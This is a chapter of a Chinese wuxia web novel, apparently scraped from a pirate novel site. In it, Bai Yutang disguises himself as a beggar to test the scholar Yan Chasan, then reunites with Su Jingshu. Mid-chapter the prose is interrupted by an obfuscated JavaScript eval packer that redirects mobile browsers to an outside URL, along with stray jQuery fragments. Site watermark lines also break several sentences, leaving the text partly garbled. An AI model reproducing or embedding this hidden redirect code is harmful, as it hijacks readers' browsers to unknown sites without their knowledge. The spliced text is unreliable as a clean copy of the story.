*
雨墨是个书童,如今跟着的公子叫颜查散。
他活了十四年,颜公子是他这辈子见过的心肠最好的人,说是滥好人也不为过。
而和颜公子同桌吃饭的这位金懋叔金公子是他见过最不要脸的人,没有之一。
世上怎么会有如此泼皮无赖之人?看他们公子脾气好就赖上不走了是吧?
天知道他们最开始只是拼桌吃饭。
公子心地善良,这乞丐模样的金公子却是十足的难缠,几句话的功夫把他们公子忽悠的从拼桌吃饭变成请客,偏偏公子却觉得那乞丐斯文中含着一股英雄气概,将来必非等闲之人,非得让他以礼相待。
斯文?英雄气概?非等闲之人?
公子啊,您年纪轻轻怎么眼睛就瞎了呢?
这乞丐身上穿着一件零碎布衫,脚上踩着一双鞋底板都烂了的破皂靴,灰头土脸落魄不已,他怎么看都看不出斯文,也看不出公子说的英雄气概,只觉得像个无赖乞丐,还是好几天都没要到饭的穷乞丐。
他主人姓金,是颜公子的同窗好友,看颜公子家贫才将他送给颜公子让他伺候颜公子进京赶考,他主人那样的体面人才配姓金。
这乞丐满脸灰尘穷困潦倒,哪里像能姓金,分明连姓银都不配。
姓金没有金,一定穷断筋。
穷乞丐心机深沉,颜公子肯定会上当受骗。
他当时就觉得这乞丐不是个好相处的,果不其然,后面发生的事情差点把他气死。
什么都要上等,鸡鸭鱼肉翅子海参来者不拒,还非要强求要尾巴像胭脂瓣儿似的过一斤的活鲤鱼当着他的面杀,那是他们家公子吃得起的东西吗?
酒楼客店里的常见酒水不肯入口,非要陈年女贞陈绍,那陈年女贞陈绍不散卖,足足四两银子一坛。
他们家公子临行前总共才被主人接济了二十两银子,加上街坊邻里凑的和家里这么些年的积蓄总共二十八两,那是他们主仆俩接下来一年多的花销,结果可好,一顿饭下去十四两。
公子又不是富贵人家的衙内,明知道出门时带了多少钱还这么大手大脚,刚出门几天盘缠就花了一半,他们到京城可如何生活?
雨墨气的不行,但是他只是个书童,再气也只能听命行事。
家里的老安人让公子去投奔姑父姑母,公子不愿寄人篱下,路上说好的拜见完姑父姑母就到京城落脚。
原本想着十两银子省吃俭用也能供他们生活些日子,等他们在京城安顿下来再想办法挣钱就是,颜公子要准备秋闱,肯定不能因为没钱饿死在京城。
万万没想到临到京城又遇到了这个灾星。
苍天呐,他上辈子犯了什么错,为什么派这么个吞金兽来折磨他?
可怜的书童眼睁睁看着他们家公子又和那乞丐坐到一起,眼睁睁看着他们又点了一大桌子菜,眼睁睁看着他们又要了活蹦乱跳的黄河大鲤鱼和四两一坛的陈年女贞陈绍,一口气没上来差点晕过去。
公子,您点菜之前能先算算咱们还剩下多少盘缠吗?
饭钱不够难道要把他抵在酒楼还债?
他是个书童,从小当书童培养、长大当书童、以后有了儿子也要给小公子当书童的书童,怎么能把他抵在酒楼还债?
雨墨欲哭无泪,看着满桌丰盛的饭菜毫无胃口,甚至已经想到接下来被抵在酒楼当苦力的悲惨下场。
没办法,谁让他只是个书童呢。
颜公子啊颜公子,主人真是看错你了。
原以为你能进京考上太学然后参加秋闱春闱高中状元,孰料竟然连书童的死活都不顾,自家里带出来的二十八两银子挥霍一空,过些天到京城如何生活?
租房吃喝要花钱,笔墨纸砚要花钱,同窗应酬要花钱,处处都是花钱的地方,你难道真的要成为饿死在京城的读书人吗?
这么多菜根本吃不完,上次金公子点完菜只吃了一条鱼喝了几口鱼汤,其他饭菜全然不动,他们赶路又没法带上那些饭菜,吃不完只能任店家收走。
十四两银子一顿饭剩下大半,心疼的他直到半夜都没睡着。
这次点的饭菜比上次还多,不光吃不完还没有足够的钱来付给店家,他怎么那么命苦啊?
雨墨低着头闷不吭声,吃着饭不好抹眼泪,心里的眼泪已经哗啦啦流出一条黄河。
忽然,刚吃了几口鲜嫩鱼肉的金公子放下筷子起身往大堂里面走,也不知道他和里面的人认不认识,看到一桌人少的就直接在人家旁边坐下了。
雨墨:!!!
这穷
乞丐终于要放过他们换人缠了吗?
看那两位的衣着都非富即贵,应该能让穷乞丐缠得起,他们颜公子待会儿得典当衣物才付得起眼下这顿饭钱,实在扛不住接二连三的大出血。
“公子,出门在外不能和在家一样,路上的艰难险阻多的很,有拐子有骗子还有专门设圈套害人的,公子万不能掉以轻心。”雨墨苦口婆心的劝道,“公子觉得金公子好,在小的眼里他和那些骗人钱财的恶人没有区别,公子不能再这么轻信生人。”
“休要胡说。”颜查散正了神色,“你小小年纪不要造这样的口业,我观金公子的面相是个英雄人物,纵然他骗吃骗喝也无非多花几两银子,无甚要紧。”
雨墨:……
雨墨实在不知道该说什么好。
颜公子要是大富大贵,几两银子自然无甚要紧,可他们现在马上连饭都吃不起,哪里说得起这种大话?
难怪都喊读书人“书呆子”,果然是个呆子。
类似的话雨墨一路上已经劝过很多次,奈何他们家颜公子次次都不听,这次说了还挨了顿骂,只能气哼哼继续生闷气。
等颜公子考中进士他就回家求主人把他要回去,这种日子他一天也过不下去了。
白玉堂不关心他的心血来潮会让颜查散主仆俩陷入怎样的困境,比起颜查散,显然许久未见的苏小郎更得他心。
周青松没见过鼎鼎有名的锦毛鼠白玉堂,陡然见面认不出这人是谁,看到这人在他对面坐下立刻升起和雨墨一样的念头。
这难缠的乞丐该不会要缠上他们吧?
虽然他们比门口那个书生有钱,但是他们的钱也不是大风刮来的,景哥儿的伯父是祥符县令,这乞丐要是缠着他们不放他们立刻报官。
一天进两次县衙的确显得像他们胡乱惹是生非,但是他们真的是无辜的,就是单纯的倒霉。
倒霉蛋周青松谨慎的放下筷子,表情沉重,“景哥儿,为兄不才,家中兄长重病在床,为救兄长只得变卖家产,无奈兄长病情一直未曾好转,如今家财散尽,只能来求你接济一番。”
听到了吗?
他!穷!家里还有个重病的哥哥!想坑人去别处坑!他身上没钱!
白玉堂:……
苏景殊:……
这故事听起来也挺离谱的。
小小苏叹了口气,看看衣衫褴褛灰头土脸面对面也几乎认不出来的白五爷,神情复杂,“我们这里有尾巴像胭脂瓣儿似的过一斤的活鲤鱼,公子要吃吗?
他还小不喝酒,青松兄和他在一起的时候也不怎么喝,没有陈年女贞陈绍,店里送的香片茶凑活着喝两口吧。
别说白家和陷空岛都好好的没破产,就算家里破产也不能让他们五爷沦落到这种地步。
平时多俊的小伙儿,怎么几个月不见被糟蹋成了这样?
也就是展猫猫不在祥符县,不然他非得拉着展猫猫一起来看限定版落魄白吱吱。
错过这个村儿就没这个店儿,鬼知道他什么时候会再次心血来潮扮乞丐。
白玉堂看着假装没认出他的苏小郎,嘴角微抽,“动过的鱼我不要,我只要全须全尾无人动过的鱼。
小小苏:……
美的你。
“哦,那就只能委屈公子看着我们吃了。小小苏很不给面子,拿起筷子夹起一块鱼肉吃掉,然后指着满桌子的菜说道,“不好意思,这些全都动过。
展猫猫吃鱼都没那么多破事儿,锦毛鼠吃鱼那么讲究干什么?
既然别人动过的不肯吃,那就看着他们吃吧。
白玉堂:……
周青松紧张兮兮的看着身材高大的乞丐,已经开始模拟待会儿打起来他能不能把这人摁住。
这乞丐看着破破烂烂,身量却比他还高,不知道力气会不会比他大,乞丐吃不饱穿不暖应该不会有太大的力气吧?
可是这乞丐提起吃喝那么讲究,以前肯定也是非富即贵,不然也长不了那么高的个头。
如果真的打起来,倒霉的景哥儿能等到官府来人吗?
就在他紧张的快要蹦起来的时候,眼角余光忽然看到几个巡街的衙役,好巧不巧其中有听过他故事的熟人。
这下好办了。
周青松瞬间打起精神,放下饭前拉着小同窗就要走,“景哥儿,刚才街上有熟人路过,你快和我一起去找他们、额、借钱。
苏景殊眼疾手快拉住旁边的白五爷,走也要拉着调皮捣蛋的小伙伴一起走。
周青松兴冲冲的朝外面的衙役打招呼,
出去后看到那个缠人的乞丐也跟着出来吓了一跳,支支吾吾不知道该说什么好。
苏景殊挣开手无奈扶额,“青松兄,这位公子我认识,不用担心被骗。
周青松:???
“认识?
苏景殊点头,“认识。
周青松顿时两眼无光,完了玩了完了,不认识的都能被缠上,认识的还不得被折腾死?
大庭广众之下暴露身份未免太尴尬,苏景殊看了眼陷入诡异沉默的白五爷,决定先带他们回县衙。
如果没有猜错的话,五爷扮成乞丐是扮着玩。
对吧?
小小苏眼神问话,白玉堂看了一会儿没看懂他想表达什么,于是诚实的问道,“什么意思?
苏景殊:……
这和电视里演的不一样。
三个人看上去驴唇不对马嘴,巡街的衙役看不明白他们这是在干什么,怕他们遇到什么难处索性送他们回县衙。
酒楼里,雨墨探头探脑看着他们被衙役带走,回到饭桌后兴奋不已,“公子公子,小的就说那金懋叔是个骗子,不信您看,被衙门官差抓走了吧。
小书童扬眉吐气眉飞色舞,骗子被官府抓走大快人心,不知道他们被坑走的银子能不能要回来。
他倒是想去衙门告状,但是公子肯定不答应,还是别说出来讨嫌了。
不管怎么说,讨嫌的家伙被官府抓走就行。
颜查散方才没注意那桌上三人出去干什么,以为他们是吃好了要离开,听到金懋叔被官差带走大惊失色,连忙要去衙门把他才认识不久的好友救下。
雨墨:???
颜公子,你怎么能如此执迷不悟?
倒霉的书童死活拦住他们家公子不让他走,满桌的饭菜还没付钱,店家也不会放他们离开。
颜查散着急不已,“雨墨,快付钱。
雨墨赌气不肯付,“公子,我们的盘缠不够了。
要么就好好吃完这顿饭再想办法付饭钱,要么他和店家说这些饭菜是金懋叔点的,他们不吃也不付钱。
他们和那金懋叔无仇无恨素不相识,骗他们一次也够了,怎么能接二连三的骗?
没钱!不给!
回县衙的路上,苏景殊拉着白玉堂
快走几步,压低声音问道,“五爷,你怎么扮成乞丐去蹭吃蹭喝?那家书童都快被你气哭了。
白玉堂哼了一声,“那书生名叫颜查散,他想和五爷交朋友,五爷还不能试试他的诚心?
苏景殊:???
试诚心?靠花钱来试诚心?
三岁小孩儿都不玩这种游戏了好不好?
小小苏深吸一口气,很想撬开白吱吱的脑袋瓜看看里面都装了些什么,“五爷,那个书生看上去家境并不好,你这么大手大脚花他的钱不太好。
白五爷自有他的道理,“患难才能见真情,他要是个有钱人五爷还不这么试呢。
苏景殊摇摇头,耐着性子问道,“五爷试出了什么?
白玉堂耸耸肩,“他的盘缠还没有花完,自然什么都没有试出来。不过五爷看出来了颜查散是个心地纯善的好人,他的书童也有意思的紧。
“有没有可能,人家的书童并不想让你这么夸?
什么叫还没把人家的盘缠花完没试出来?等到把人家的盘缠花完还能得了?
刚才在酒楼里那个书童都快被气哭了,再试探下去就不是结交而是结仇,五爷三思啊!
“行吧,五爷去给他们把钱付了。白玉堂不缺钱,他行走江湖那么多年什么菜什么价儿也能看出来,几十两银子对他而言不算什么,他把之前吃颜查散的一起还了便是,省得被这小子揪住把柄天天在他耳边说。
五爷难得想逗弄人,没逗弄完就半途而废还真是头一回。
苏景殊不敢让他再去火上浇油,托旁边的衙役将银钱送给酒楼里的倒霉主仆,交代完之后松了口气,回过头来还是想不通白五爷为什么会想出这么个法子试探人。
他们俩认识的时候也没那么多弯弯绕绕,这是脑子一抽就冒出来的主意?
白玉堂撇撇嘴,“你自己想想,咱们俩认识之后安稳过几天?
不是红衣杀手就是无忧洞,不是辽国使臣进京就是朝中勾心斗角,他都快忙成御鼠了,哪儿有心情干别的?
不说了不说了,这身衣服穿着够难受的,他先找个客
栈洗个澡换个衣服再来。
“小景殊,你住哪儿?”
苏景殊指指不远处的县衙,“祥符县令是我二伯,我来这儿探亲,应该会住在县衙。”
他和青松
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14278420|151812||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
兄今天刚到还没过夜,没有意外的话应该是住在县衙,有意外的话他也说不准。
白玉堂摆摆手表示知道了,足尖一点纵身离开,眨眼间就消失在众人的视线之中。
其他人:!!!
周青松和衙役们落后几步跟着,小同窗有意不让他们听,他们凑上去也不太好,只能打起精神防备那个来历不明的乞丐闹事。
问题是,那个乞丐为什么会飞?
小同窗不一般,他认识的乞丐也不一般,但是再不一般也不能“咻——”的一下直接飞走啊!
难道刚才那位是传说中消失已久的丐帮弟子?丐帮长老?丐帮帮主?还是别的丐帮什么?
“咻——”的一下就不见了,厉害!
苏景殊抬手在他们眼前晃晃让他们回神,“不是飞,是轻功,江湖上很多大侠都会。”
“景哥儿,你会吗?”周青松惊叹不已,这会儿也不觉得乞丐难缠了,满脑子都是那位疑似丐帮弟子潇洒飘逸的身影。
轻功啊,羡慕。
苏景殊也很羡慕,“厉害吧,我也不会。”
他要是会轻功,在城外路上遇到劫匪肯定不会直接跑,而是用轻功溜劫匪一路溜到县衙,让那两个劫匪哭都不知道怎么哭。
众人目送“丐帮高手”离开,表情如出一辙的钦羡。
“景哥儿,刚才那位是谁?你怎么认识的?”周青松好奇的很,“真正的江湖大侠都和刚才那位一样古怪吗?”
问题一个接一个,一个能回答的都没有。
苏景殊给嘴巴拉上拉链,让他等待会儿白五爷回来直接问正主,要是五爷承认那个乞丐是他那就一切好说,要是五爷不想承认,具体怎么编还得看五爷的发挥。
反正不能他来说。
俩人回到县衙,送他们回来的衙役还要继续巡街,去酒楼送钱的衙役回来回了个话,果不其然,颜查散主仆俩的确已经被坑的付不起饭钱。
书生收到银钱惭愧不已,书童却是高兴坏了。
官府为他们找回来的银子付了酒菜
钱后还能剩下许多,这下再也不用担心到了京城没法生活。
雨墨解决了心头大患胃口大开,感觉甚至能把桌上点的饭菜吃个七七八八。
钱是穷人胆,有钱才有底气,有底气的感觉就是不一样。
苏景殊听完衙役的复述,再次感叹白吱吱你害人不浅。
他们出去的这段时间,牢房那边也从劫匪口中审出了点儿东西。
那两个劫匪到底是谋财还是害命谁也说不准,但是既然他们是祥符人,祥符县衙就能找出他们为人如何家住何处。
劫匪嘴里的话真假掺半,街坊邻居的话总能起到参考。
苏景殊皱起眉头,“所以那两个劫匪真的和中牟的地痞流氓没有关系?”
“没有关系。”苏涣回道,“他们是城里富户家的家丁,前些日子在赌坊染上赌瘾,月钱不够还赌债这才铤而走险去官道劫掠路人。”
今天是他们俩第一次抢劫,正好就抢到了他这倒霉的小侄子身上。
小说</a>更新,记住域名caixs.com?(请来才
小说
看最新章节
完整章节)
百姓堕为贼匪罪行颇重,一旦发现从重处罚,这是没有抢劫成功,要是抢劫成功,无论有没有伤人命都是死刑。
民间造反起义此起彼伏,朝廷对山贼土匪防范甚严,处罚时堪称苛刻,即便那二人未曾劫掠成功也不能直接放出去。
和被抢劫的人是他侄子没有关系,单纯是那二人的罪犯了朝廷的忌讳,谁来审案都是从重处罚。
周青松小声嘟囔了一句,他以为他能猜对来着,没想到那两个劫匪真的和他们没仇,单纯就是他们俩倒霉。
唉,这运气也太差了吧。
在中牟县的时候被案子缠身,好不容易包青天为中牟百姓铲除恶霸团伙,结果来到祥符县还能遇上劫匪,这也是没谁了。
看来假期结束之前得找个寺庙去去晦气,在家倒霉也就算了,到太学不能继续倒霉。
总不能因为运气影响成绩。
苏涣说完劫匪的事情后还有别的事情要忙,临走前说了客房已经收拾好,他们不想出去玩的话可以回房休息,等他晚上闲下来再好好为他们接风洗尘。
说完便脚步匆匆离开。
周青松心道当个好县令真不容易,然后转身问道,“景哥儿,中午不是接过风了吗?”
“我以为已经接
过风了。”苏景殊歪歪脑袋猜测道“难道是二伯觉得不够郑重?”
二伯娘和堂兄们都不在祥符晚上再接风也不会和中午有什么区别他只是来探亲顺便玩两天要那么郑重干什么?
周青松也有个猜测“也可能是没骂过瘾。”
苏景殊:……
不会说话可以不说话别逼他动手。
就不能是他们家二伯话赶话赶到那里的客气话吗?
“什么客气话?什么没骂够?”收拾过后焕然一新的白五爷从天而降听到俩人的话好奇的问道“小景殊五爷不在开封府的这些天你又干了什么?”
小小苏冤枉“我什么都没干。”
就是赶巧当上了旁观者而已。
白五爷对他的话一点儿都不信如果真的什么都没有干这小子绝对不是这个反应。
周青松震惊的看着光彩照人的干净版白吱吱神情恍惚不敢相信这位和刚才那个衣衫褴褛的乞丐是同一个人“景哥儿这是……”
刚才说要来县衙找他们的只有那位乞丐高手
说</a>的域名caixs?com⑦(请来才小
说
看最新章节
完整章节)两人身形的确很相似但是模样是不是差太多了?
干净成这样不会是丐帮大侠所以这位是哪儿的大侠?
苏景殊摊摊手“五爷您要不要来个自我介绍?”
白玉堂瞥了他一眼手里凭空变出一柄折扇“五爷行不更名坐不改姓锦毛鼠白玉堂是也。”
周青松:!!!
哇!竟然是锦毛鼠白玉堂!差点成了开封府第二位御猫的白玉堂!
景哥儿的人脉果然厉害!
周青松的眼睛骤然亮起一刻也舍不得从白五爷身上移开。
现在这位的确很符合传闻中锦毛鼠白玉堂的形象少年华美气宇不凡仔细想想刚才的乞丐打扮也难掩他的英雄本色只是他和酒楼里那个差点被气哭的书童一样眼拙没看出来。
那个颜书生倒是慧眼识珠白大侠打扮成那样都能看出不凡也不知道他那眼睛到底怎么长的。
苏景殊拉着白玉堂离倒霉蛋同窗远一点蹲在台阶上和他讲这些天发生的事情。
京城天天都有很多事情太久远的五爷回头自己打听最近发生的只有中牟的大案。
包青天亲自出马破案乃是